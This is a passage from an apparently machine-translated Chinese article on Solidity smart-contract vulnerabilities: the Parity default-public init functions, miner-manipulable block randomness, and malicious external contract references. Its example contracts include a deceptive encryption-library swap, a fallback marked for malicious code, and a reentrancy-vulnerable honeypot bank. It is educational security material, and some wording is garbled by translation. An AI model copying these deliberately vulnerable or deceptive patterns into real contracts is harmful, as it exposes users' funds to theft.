请注意,这两个函数都没有明确指定可见性。这两个函数默认为public。该initWallet()函数在钱包构造函数中调用,并设置多sig钱包的所有者,如initMultiowned()函数中所示。由于这些功能被意外留下public,攻击者可以在部署的合约上调用这些功能,并将所有权重置为攻击者地址。作为主人,袭击者随后将所有以太网的钱包损失至3100万美元。
函数错误
以太坊区块链上的所有交易都是确定性的状态转换操作。这意味着每笔交易都会改变以太坊生态系统的全球状态,并且它以可计算的方式进行,没有不确定性。这最终意味着在区块链生态系统内不存在函数或随机性的来源。rand()在Solidity中没有功能。实现分散函数(随机性)是一个完善的问题,许多想法被提出来解决这个问题(见例如,RandDAO或使用散列的链在这个由Vitalik的描述后)。
漏洞
在以太坊平台上建立的一些首批合约基于赌博。从根本上讲,赌博需要不确定性(可以下注),这使得在区块链(一个确定性系统)上构建赌博系统变得相当困难。很明显,不确定性必须来自区块链外部的来源。这可能会导致同行之间的投注(例如参见承诺揭示技术),但是,如果要执行合约作为房屋,则显然更困难(如在二十一点我们的轮盘赌)。常见的陷阱是使用未来的块变量,如散列,时间戳,块数或gas限制。与这些问题有关的是,他们是由开采矿块的矿工控制的,因此并不是真正随机的。
例如,考虑一个带有逻辑的轮盘智能合约,如果下一个块散列以偶数结尾,则返回一个黑色数字。一个矿工(或矿工池)可以在黑色上下注$ 1M。如果他们解决下一个块并发现奇数的哈希结束,他们会高兴地不发布他们的块和我的另一个块,直到他们发现块散列是偶数的解决方案(假设块奖励和费用低于1美元M)。Martin Swende在其优秀的博客文章中表明,使用过去或现在的变量可能会更具破坏性。此外,单独使用块变量意味着伪随机数对于一个块中的所有交易都是相同的,所以攻击者可以通过在一个块内进行多次交易来增加他们的胜利(应该有最大的赌注)。
预防技术
函数(随机性)的来源必须在区块链外部。这可以通过诸如commit-reveal之类的系统或通过将信任模型更改为一组参与者(例如RandDAO)来完成。这也可以通过一个集中的实体来完成,这个实体充当一个随机性的预言者。块变量(一般来说,有一些例外)不应该被用来提供函数,因为它们可以被矿工操纵。
真实世界示例:PRNG合约
Arseny Reutov 在分析了3649份使用某种伪随机数发生器(PRNG)的实时智能合约并发现43份可被利用的合约之后写了一篇博文。这篇文章详细讨论了使用块变量作为函数的缺陷。
外部合约引用
以太坊全球计算机的好处之一是能够重复使用代码并与已部署在网络上的合约进行交互。因此,大量合约引用外部合约,并且在一般运营中使用外部消息调用来与这些合约交互。这些外部消息调用可以以一些非显而易见的方式来掩盖恶意行为者的意图,我们将讨论这些意图。
漏洞
在Solidity中,无论地址上的代码是否表示正在施工的合约类型,都可以将任何地址转换为合约。这可能是骗人的,特别是当合约的作者试图隐藏恶意代码时。让我们以一个例子来说明这一点: 考虑一个代码,它基本上实现了Rot13密码。
Rot13Encryption.sol:
//encryption contract
contract Rot13Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
}
}
emit Result(text);
}
}
这个代码只需要一个字符串(字母az,没有验证),并通过将每个字符向右移动13个位置(围绕'z')来加密它; 即'a'转换为'n','x'转换为'k'。这里的集合并不重要,所以如果在这个阶段没有任何意义,不要担心。
考虑以下使用此代码进行加密的合约,
import "Rot13Encryption.sol";
// encrypt your top secret info
contract EncryptionContract {
// library for encryption
Rot13Encryption encryptionLibrary;
// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
encryptionLibrary = _encryptionLibrary;
}
function encryptPrivateData(string privateInfo) {
// potentially do some operations here
encryptionLibrary.rot13Encrypt(privateInfo);
}
}
这个合约的问题是encryptionLibrary地址不公开或不变。因此,合约的配置人员可以在指向该合约的构造函数中给出一个地址:
//encryption contract
contract Rot26Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
}
}
emit Result(text);
}
}
它实现了rot26密码(每个角色移动26个地方,得到它?:p)。再次强调,不需要了解本合约中的程序集。部署人员也可以链接下列合约:
contract Print{
event Print(string text);
function rot13Encrypt(string text) public {
emit Print(text);
}
}
如果这些合约中的任何一个的地址都在构造encryptPrivateData()函数中给出,那么该函数只会产生一个打印未加密的私有数据的事件。尽管在这个例子中,在构造函数中设置了类似库的协定,但是特权用户(例如owner)可以更改库合约地址。如果链接合约不包含被调用的函数,则将执行回退函数。例如,对于该行encryptionLibrary.rot13Encrypt(),如果指定的合约encryptionLibrary是:
contract Blank {
event Print(string text);
function () {
emit Print("Here");
//put malicious code here and it will run
}
}
那么会发出一个带有“Here”文字的事件。因此,如果用户可以更改合约库,原则上可以让用户在不知不觉中运行任意代码。
注意:不要使用这些加密合约,因为智能合约的输入参数在区块链上可见。另外,Rot密码并不是推荐的加密技术:p
预防技术
如上所示,无漏洞合约可以(在某些情况下)以恶意行为的方式进行部署。审计人员可以公开验证合约并让其所有者以恶意方式进行部署,从而产生具有漏洞或恶意的公开审计合约。 有许多技术可以防止这些情况发生。 一种技术是使用new关键字来创建合约。在上面的例子中,构造函数可以写成:
constructor(){
encryptionLibrary = new Rot13Encryption();
}
这样,引用合约的一个实例就会在部署时创建,并且部署者不能在Rot13Encryption不修改智能合约的情况下用其他任何东西替换合约。
另一个解决方案是如果已知的话,对任何外部合约地址进行硬编码。
一般来说,应该仔细查看调用外部契约的代码。作为开发人员,在定义外部合约时,最好将合约地址公开(这种情况并非如此),以便用户轻松查看合约引用哪些代码。相反,如果合约具有私人变量合约地址,则它可能是某人恶意行为的标志(如现实示例中所示)。如果特权(或任何)用户能够更改用于调用外部函数的合约地址,则可能很重要(在分散的系统上下文中)来实现时间锁定或投票机制,以允许用户查看哪些代码正在改变或让参与者有机会选择加入/退出新的合约地址。
真实世界的例子:重入蜜罐
主网上发布了一些最近的蜜罐。这些合约试图胜过试图利用合约的以太坊黑客,但是谁又会因为他们期望利用的合约而失败。一个例子是通过在构造函数中用恶意代替期望的合约来应用上述攻击。代码可以在这里找到:
pragma solidity ^0.4.19;
contract Private_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 1 ether;
Log TransferLog;
function Private_Bank(address _log)
{
TransferLog = Log(_log);
}
function Deposit()
public
payable
{
if(msg.value >= MinDeposit)
{
balances[msg.sender]+=msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
一位reddit用户发布的这篇文章解释了他们如何在合约中失去1位以试图利用他们预计会出现在合约中的重入错误。
未完待续...
文章发布只为分享区块链技术内容,版权归原作者所有,观点仅代表作者本人,绝不代表区块链兄弟赞同其观点或证实其描述。